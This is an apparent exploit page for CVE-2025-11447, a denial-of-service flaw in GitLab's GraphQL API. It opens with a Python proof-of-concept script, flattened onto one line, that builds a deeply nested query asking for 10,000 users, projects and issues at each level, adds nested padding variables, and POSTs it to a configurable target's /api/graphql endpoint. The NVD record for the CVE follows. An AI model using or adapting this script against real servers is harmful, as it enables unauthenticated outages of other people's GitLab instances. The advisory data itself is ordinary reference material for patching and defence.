CVE-2025-11447

import requests import json import time # CVE-2025-11447 PoC - GitLab GraphQL DoS # Target: GitLab CE/EE < 18.3.5, < 18.4.3, < 18.5.1 TARGET_URL = "http://target-gitlab.com" # Replace with target URL GRAPHQL_ENDPOINT = f"{TARGET_URL}/api/graphql" def create_dos_payload(): """Generate nested JSON payload to exhaust server resources""" # Deeply nested structure to cause DoS payload = { "query": """ query { users(first: 10000) { edges { node { id username email projects(first: 10000) { edges { node { id name issues(first: 10000) { edges { node { id title description } } } } } } } } } } """, "variables": { "nested_data": {"level1": {"level2": {"level3": {"level4": {"level5": {"level6": {"level7": {"level8": {"data": "x" * 10000}}}}}}}} } } return payload def exploit(): """Send malicious GraphQL request""" print(f"[*] Targeting: {GRAPHQL_ENDPOINT}") print("[*] Sending DoS payload...") payload = create_dos_payload() try: response = requests.post( GRAPHQL_ENDPOINT, json=payload, headers={"Content-Type": "application/json"}, timeout=30 ) print(f"[+] Request sent. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-11447 PoC - GitLab GraphQL DoS") exploit()

{"cve": {"id": "CVE-2025-11447", "sourceIdentifier": "[email protected]", "published": "2025-10-27T00:15:40.460", "lastModified": "2025-10-27T17:40:28.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.0 before 18.3.5, 18.4 before 18.4.3, and 18.5 before 18.5.1 that could have allowed an unauthenticated attacker to cause a denial of service condition by sending GraphQL requests with crafted JSON payloads."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "D44F410C-9878-4F55-BC05-0BC217AB6FA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "D74E050B-0AD8-45BE-AAA1-54E01DE6A217"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "7B4DC1E2-0920-4A1B-8AE8-89B7FDF0897A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "425AEB81-EA04-4702-99F8-B623614F6901"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:community:*:*:*", "matchCriteriaId": "3D74D76F-A787-40A8-A20F-C48C48983B10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "CCF08EA3-6D3E-4388-BA9D-A992B771998F"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/10/22/patch-release-gitlab-18-5-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/574858", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3367019", "source": "[email protected]", "tags": ["Permissions Required"]}]}}